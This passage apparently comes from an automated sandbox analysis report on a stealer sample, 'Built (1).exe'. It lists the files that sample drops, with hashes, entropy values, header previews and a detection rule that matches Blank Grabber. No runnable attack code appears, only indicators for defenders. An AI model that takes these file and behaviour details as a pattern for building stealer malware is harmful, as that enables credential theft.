                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):29968
                                            Entropy (8bit):7.677818197322094
                                            Encrypted:false
                                            SSDEEP:768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
                                            MD5:08B000C3D990BC018FCB91A1E175E06E
                                            SHA1:BD0CE09BB3414D11C91316113C2BECFFF0862D0D
                                            SHA-256:135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
                                            SHA-512:8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\libssl-3.dll

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):228120
                                            Entropy (8bit):7.928688904391487
                                            Encrypted:false
                                            SSDEEP:6144:Gmlccqt6UmyaQeUV1BXKtS68fp2FagXlk2:l+t6Ce6XKtSHYomk2
                                            MD5:264BE59FF04E5DCD1D020F16AAB3C8CB
                                            SHA1:2D7E186C688B34FDB4C85A3FCE0BEFF39B15D50E
                                            SHA-256:358B59DA9580E7102ADFC1BE9400ACEA18BC49474DB26F2F8BACB4B8839CE49D
                                            SHA-512:9ABB96549724AFFB2E69E5CB2C834ECEA3F882F2F7392F2F8811B8B0DB57C5340AB21BE60F1798C7AB05F93692EB0AEAB077CAF7E9B7BB278AD374FF3C52D248
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%.....P...p...m....................................................`............................................,C......8...............@M...................................................y..@...........................................UPX0.....p..............................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\python312.dll

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):1806616
                                            Entropy (8bit):7.993924698335258
                                            Encrypted:true
                                            SSDEEP:49152:xm7u77uID/cZXnJ4Ph3tLm82R8PeDCemJ:Y7uJcZX6pumfJ
                                            MD5:FB8BEDF8440EB432C9F3587B8114ABC0
                                            SHA1:136BB4DD38A7F6CB3E2613910607131C97674F7C
                                            SHA-256:CB627A3C89DE8E114C95BDA70E9E75C73310EB8AF6CF3A937B1E3678C8F525B6
                                            SHA-512:B632235D5F60370EFA23F8C50170A8AC569BA3705EC3D515EFCAD14009E0641649AB0F2139F06868024D929DEFFFFFEFB352BD2516E8CD084E11557B31E95A63
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ._.A...A...A.......A.......A.......A.......A.......A...9e..A...9...A...A...@......cA.......A.......A.......A..Rich.A..........PE..d...cK.f.........." ...&..........P..ak...P..................................Pl...........`.........................................H.k.d....yk......pk......._.TI...........Ll. ...........................0mk.(...pmk.@...........................................UPX0......P.............................UPX1..........P.....................@....rsrc........pk.....................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):630736
                                            Entropy (8bit):6.409476333013752
                                            Encrypted:false
                                            SSDEEP:12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
                                            MD5:9C223575AE5B9544BC3D69AC6364F75E
                                            SHA1:8A1CB5EE02C742E937FEBC57609AC312247BA386
                                            SHA-256:90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
                                            SHA-512:57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
                                            Malicious:true
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\rarreg.key

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:ASCII text
                                            Category:dropped
                                            Size (bytes):456
                                            Entropy (8bit):4.447296373872587
                                            Encrypted:false
                                            SSDEEP:12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
                                            MD5:4531984CAD7DACF24C086830068C4ABE
                                            SHA1:FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
                                            SHA-256:58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
                                            SHA-512:00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
                                            Malicious:true
                                            Yara Hits:
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rarreg.key, Author: Joe Security
                                            Preview:RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\select.pyd

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):26392
                                            Entropy (8bit):7.4349429154342905
                                            Encrypted:false
                                            SSDEEP:768:GW9SNyB153wXwCp5DlIjQGO/5YiSyv38aAMxkE7:4a3aDlIjQGOx7Sy/8Yxn
                                            MD5:08B4CAEACCB6F6D27250E6A268C723BE
                                            SHA1:575C11F72C8D0A025C307CB12EFA5CB06705561D
                                            SHA-256:BD853435608486555091146AB34B71A9247F4AAA9F7ECFBC3B728A3E3EFDE436
                                            SHA-512:9B525395DEC028EF3286C75B88F768E5D40195D4D5ADAB0775C64B623345D81DA1566596CC61A460681BC0ADBA9727AFC96C98AD2E54FF371919F3DB6D369B0C
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.tb..'b..'b..'k.V'`..'d(.&`..'d(.&n..'d(.&j..'d(.&f..'.(.&`..'b..' ..')..&g..'.(.&c..'.(.&c..'.(:'c..'.(.&c..'Richb..'........PE..d....K.f.........." ...&.0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\sqlite3.dll

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):660248
                                            Entropy (8bit):7.993344862024604
                                            Encrypted:true
                                            SSDEEP:12288:QTdlyELYyNiFVhF+v4GTHxoyMnYllAuz1eRDRA8z7B/oe7zMdxsp2gB:QTdlyK5oFVDQ4GGYsaejd1/oeTp2gB
                                            MD5:482B3F8ADF64F96AD4C81AE3E7C0FB35
                                            SHA1:91891D0EABB33211970608F07850720BD8C44734
                                            SHA-256:1FBDB4020352E18748434EF6F86B7346F48D6FB9A72C853BE7B05E0E53EBBB03
                                            SHA-512:5DE56E00AB6F48FFC836471421D4E360D913A78EE8E071896A2CD951FF20F7A4123ABD98ADF003CE166DCC82AAD248EBF8B63E55E14ECEEC8AA9A030067C0D1D
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........l..l..l...B..l.....l.....l.....l.....l.....l..l..l.....l.....l......l.....l.Rich.l.................PE..d....K.f.........." ...&.....0...........................................................`..............................................#......................h......................................................@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\_MEI75282\unicodedata.pyd

                                            Download File
                                            Process:C:\Users\user\Desktop\Built (1).exe
                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                            Category:dropped
                                            Size (bytes):302360
                                            Entropy (8bit):7.986911403608574
                                            Encrypted:false
                                            SSDEEP:6144:CI6xDUAPCa+tr3XyOu6sNq64AnCK+V3evv7J7usiUZonaJnZ54QZ:CDLB+tryJ6sI647m7Fu4oM4QZ
                                            MD5:27B3AF74DDAF9BCA239BF2503BF7E45B
                                            SHA1:80A09257F9A4212E2765D492366ED1E60D409E04
                                            SHA-256:584C2ECEA23DFC72AB793B3FD1059B3EA6FDF885291A3C7A166157CF0E6491C4
                                            SHA-512:329C3A9159EA2FDCE5E7A28070BCF9D6D67ECA0B27C4564E5250E7A407C8B551B68A034BFDE9D8D688FA5A1AE6E29E132497B3A630796A97B464762CA0D81BB7
                                            Malicious:false
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 0%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aM...#...#...#..x....#.."...#..&...#..'...#.. ...#..."...#..x"...#..."...#.......#...#...#......#...!...#.Rich..#.................PE..d....K.f.........." ...&.`.......0.......@................................................`.............................................X....................@.........................................................@...........................................UPX0.....0..............................UPX1.....`...@...\..................@....rsrc................`..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1j1iptqe.tg5.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qgrih0q.st0.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5qgenhwp.out.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1xttf1g.40m.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_av1xozvc.dif.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bsngtoma.gez.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dnhvne24.jti.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gwaus5jb.lr0.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hoy2cryh.szz.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilotwvi3.alv.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iyg3cbjl.5cw.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyejo5y4.3og.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nigfuslh.yhw.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nw0epwnc.mjq.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q3q1sbkg.l34.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ttrfhggq.deb.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_utshyeif.xq4.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1hc1tn4.mvp.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vfywbzyz.np4.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0gx1ddx.c22.ps1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
